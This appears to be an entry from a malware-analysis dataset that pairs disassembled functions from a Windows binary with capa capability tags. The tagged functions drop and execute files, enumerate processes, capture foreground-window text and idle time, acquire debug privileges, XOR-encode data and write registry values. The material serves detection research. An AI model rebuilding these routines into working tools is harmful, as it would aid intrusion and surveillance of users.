joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413490
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f4
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov ecx, 0xb6
mov esi, ebx
lea edi, [ebp - 0x5b0]
rep movsd dword es:[edi], dword [esi]
push 0x2ce
xor edi, edi
lea ecx, [ebp - 0x2d6]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x2d8], ax
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x2d8]
push edx
push edi
push edi
push 0x2c
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x3a0]
push eax
push 0x4404dc
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, ecx
push str._s_s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push edi
push edi
push 2
push edi
push 1
push 0x40000000
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413541
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
push edi
lea ecx, [ebp - 0x5b4]
push ecx
add edx, 0xfffffd28
push edx
add ebx, 0x2d8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41352e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x38
lea eax, [ebp - 0x5ec]
push edi
push eax
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x5f0]
lea ecx, [ebp - 0x2d8]
push edx
mov dword [ebp - 0x5f0], 0x3c
mov dword [ebp - 0x5ec], 0x40
mov dword [ebp - 0x5e8], edi
mov dword [ebp - 0x5e4], 0x440424
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5dc], 0x43e9f0
mov dword [ebp - 0x5d8], edi
mov dword [ebp - 0x5d4], edi
mov dword [ebp - 0x5d0], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, dword [ebp - 4]
neg eax
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret
Function at 0x414600
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439638
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
push eax
push 2
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x414703
push 0x228
lea ecx, [ebp - 0x254]
push 0
push ecx
call fcn.00422ed0
add esp, 0xc
lea edx, [ebp - 0x258]
push edx
push edi
mov dword [ebp - 0x258], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x414703
lea ecx, [ecx]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x234]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4146c6
test dx, dx
je 0x4146c2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4146c6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4146a0
xor eax, eax
jmp 0x4146cb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4146e3
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x414690
jmp 0x414703
cmp dword [ebx + 8], 0
mov byte [ebp - 0x259], 2
jne 0x414703
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp - 0x259]
push eax
call edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
Function at 0x414720
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x3f60
call fcn.00420192
add esp, 4
push 0x3f60
mov edi, eax
push 0
push edi
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
mov byte [edi], 0
mov dword [ebp - 0xc], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 8]
mov eax, 0x10624dd3
mul ecx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
lea edx, [edi + 2]
push 0x43e9f4
push edx
call ebx
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4147ad
push 0xfa
lea ecx, [edi + 0x21e]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
call fcn.0040a210
push eax
lea edx, [edi + 0x20]
push 0x43ea88
push edx
call ebx
add esp, 0xc
lea ecx, [edi + 0x432]
call fcn.0040a700
lea ecx, [edi + 0x496]
call fcn.0040ab10
lea esi, [edi + 0x4fa]
call fcn.0040ad50
lea ecx, [edi + 0x55e]
call fcn.0040ae80
lea ecx, [edi + 0x5c2]
call fcn.0040b2a0
lea esi, [edi + 0x626]
call fcn.0040b4e0
call fcn.0040a3c0
push eax
lea eax, [edi + 0x68a]
push 0x43ea88
push eax
call ebx
add esp, 0xc
call fcn.00406720
push eax
lea ecx, [edi + 0x888]
push 0x43ea88
push ecx
call ebx
add esp, 0xc
lea ecx, [edi + 0x1cd8]
call fcn.0040b610
lea ecx, [edi + 0x1d3c]
call fcn.0040b850
lea ecx, [edi + 0x1da0]
call fcn.0040ba90
push 0x43f1f4
push 0x44b370
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41487c
lea ecx, [edi + 0x1e04]
call fcn.0040bcd0
lea ecx, [edi + 0x1e68]
call fcn.0040c140
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x414895
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0x3f60
push edi
call eax
push edi
call fcn.0041fa53
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x414e60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b4
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
mov ecx, 0xb6
mov esi, ebx
lea edi, [ebp - 0x5b0]
push 0x2ce
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x2d6]
push ecx
mov word [ebp - 0x2d8], ax
call fcn.00422ed0
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x3a0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414ede
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push 0
lea eax, [ebp - 0x5b4]
push eax
add ecx, 0xfffffd28
push ecx
add ebx, 0x2d8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x414ec9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x5a8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x414f40
lea eax, [ebp - 0x5a8]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
lea edx, [ebp - 0x2d8]
push str._s__s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x414f54
lea eax, [ebp - 0x3a0]
push eax
lea ecx, [ebp - 0x2d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x5ac]
sub eax, 0
je 0x414f65
dec eax
jne 0x414f72
push eax
jmp 0x414f67
push 5
lea edi, [ebp - 0x2d8]
call fcn.00414f90
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 8
Function at 0x414f90
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa68
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.00422ed0
push 0x2e
push edi
call fcn.00422324
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x414fdb
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x41a]
push edx
mov word [ebp - 0x41c], cx
call fcn.00422ed0
push 0x20
push esi
call fcn.00422324
add esp, 0x14
push esi
test eax, eax
je 0x41502f
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
test eax, eax
jle 0x41504b
cmp word [esi + eax*2], 0x20
je 0x41501f
dec eax
test eax, eax
jg 0x415011
jmp 0x41504b
push eax
push esi
push 0x104
lea eax, [ebp - 0x41c]
push eax
jmp 0x415043
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
call fcn.00420a34
add esp, 0x10
push 1
lea edx, [ebp - 0x214]
lea ecx, [ebp - 0x41c]
call fcn.004151d0
test eax, eax
je 0x414fc8
push 0x3e8
lea edx, [ebp - 0xa0c]
push 0
push edx
call fcn.00422ed0
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0xa0c]
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x208
lea edx, [ebp - 0x214]
push 0
push edx
call fcn.00422ed0
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x622]
push ecx
mov word [ebp - 0x624], ax
call fcn.00422ed0
add esp, 0x30
push 2
lea edx, [ebp - 0x624]
lea ecx, [ebp - 0xa0c]
call fcn.004151d0
test eax, eax
je 0x414fc8
push 0x104
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x214]
push 0x4405f8
push ecx
call fcn.00421285
add esp, 8
test eax, eax
jne 0x415147
lea edx, [ebp - 0x214]
push 0x440600
push edx
call fcn.00421285
add esp, 8
test eax, eax
jne 0x415147
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x43f36c
lea eax, [ebp - 0x214]
push eax
call esi
push edi
lea ecx, [ebp - 0x214]
push ecx
call esi
jmp 0x41514f
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea edx, [ebp - 0xa50]
push 0
push edx
call fcn.00422ed0
add esp, 0xc
cmp dword [ebp + 8], 0
mov dword [ebp - 0xa54], 0x44
je 0x41517e
mov dword [ebp - 0xa4c], str.WinSta0Default
jmp 0x415191
xor eax, eax
mov dword [ebp - 0xa28], 1
mov word [ebp - 0xa24], ax
lea ecx, [ebp - 0xa64]
push ecx
lea edx, [ebp - 0xa54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 4
Function at 0x4151d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x442828
push 0x429460
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x445824]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x440], SysReAllocString
mov dword [ebp - 0x434], 0
mov ebx, 0x208
push ebx
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.00422ed0
push ebx
push 0
lea ecx, [ebp - 0x42c]
push ecx
call fcn.00422ed0
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x438]
push edx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x415278
mov dword [ebp - 0x434], 0xffffffff
jmp case.0x415285.5
mov eax, dword [ebp + 8]
dec eax
cmp eax, 6
ja case.0x415285.5
jmp dword [eax*4 + 0x415428]
mov dword [ebp - 0x430], ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415285.5
lea ecx, [ebp - 0x224]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x4153d4
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415285.5
lea esi, [ebp - 0x224]
cmp word [esi], 0
je 0x41534a
push ebx
push esi
push 0x104
lea eax, [ebp - 0x42c]
push eax
call fcn.0042238d
push ebx
push 0x43f36c
push 0x104
lea ecx, [ebp - 0x42c]
push ecx
call fcn.0042238d
add esp, 0x20
push 0
push esi
call fcn.00421fca
add esp, 8
lea esi, [eax + 2]
jmp 0x415307
lea edx, [ebp - 0x42c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x4153d4
mov dword [ebp - 0x430], 4
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x43c]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415285.5
mov ecx, dword [ebp - 0x43c]
push ecx
push 0x43e9f4
jmp 0x4153ca
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
push 0
lea eax, [ebp + 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x415285.5
mov edx, dword [ebp + 8]
push edx
push str._08X
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x434], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.0041540e
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 4
Function at 0x415450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov esi, ecx
mov byte [ebp - 0x404], 0
call fcn.00422ed0
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0x404]
push ecx
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
lea eax, [ebp - 0x404]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4154c0
lea edx, [ebp - 0x404]
sub eax, ecx
push edx
mov edx, eax
call fcn.00406910
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0xc02]
push ecx
mov word [ebp - 0xc04], ax
call fcn.00422ed0
lea eax, [ebp - 0x404]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x415500
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x404]
push edx
push 0
push 0
call esi
lea ecx, [ebp - 0x404]
lea edi, [ecx + 1]
jmp 0x415530
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x415530
push eax
sub ecx, edi
lea eax, [ebp - 0xc04]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
push 0
call esi
lea edx, [ebp - 0xc08]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4155a1
lea eax, [ebp - 0xc04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc08]
add eax, eax
push eax
lea ecx, [ebp - 0xc04]
push ecx
push 1
push 0
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4155a1
mov eax, dword [ebp - 0xc08]
push eax
jmp 0x4155a8
mov ecx, dword [ebp - 0xc08]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret 4

Function at 0x4155d0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1fe
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x260]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x415e60
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x415ea3
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x415e9c
mov esi, dword [eax + 0x20]
jmp 0x415ea3
test bl, bl
jns 0x415ea3
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x415f70
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x415ef8
mov ecx, dword [ebx]
test cl, 0x40
je 0x415ef1
mov edi, dword [eax + 0x20]
jmp 0x415ef8
test cl, cl
jns 0x415ef8
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x415f27
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x415f27
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00415db0
test eax, eax
je 0x415f8e
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x415f4f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x415f3e
test dword [ebp - 0x10], 0x2000000
je 0x415f3e
or dword [ebp - 0x10], eax
jmp 0x415f49
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x415ed0
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.00415db0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416c40
Capabilities:
Set registry value

Disassembly:
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
mov eax, dword [esi]
push edi
push 1
push 0
push str.SlDeep
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x416c6b
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
mov edx, dword [esi]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
Function at 0x416f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40004
call fcn.0042d850
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
test edx, edx
jle 0x416f69
xor byte [eax + ecx], 0x12
inc ecx
cmp ecx, edx
jl 0x416f60
push esi
mov ecx, eax
push edi
mov esi, ecx
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x416f70
sub ecx, esi
lea edi, [ebp - 0x40004]
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416f82
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40004]
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x416fa0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret

Function at 0x416fc0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x416ffc
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x417039
xor esi, esi
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret
Function at 0x417660
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi]
add eax, eax
push eax
mov eax, dword [ebp + 8]
push esi
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x41768e
mov edx, dword [edi]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
ret
mov eax, dword [edi]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
ret

Function at 0x4176a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4397fb
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x445824]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x21c], 0
call fcn.00422ed0
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x224], 0x104
mov dword [ebp - 0x228], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x224]
push edx
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x218]
push ecx
push 0x43ea88
lea edi, [ebp - 0x220]
mov dword [ebp - 4], 0
call fcn.0040ec10
mov esi, dword [ebp - 0x220]
push esi
push 0x43ea88
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esi - 0x10]
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4177be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret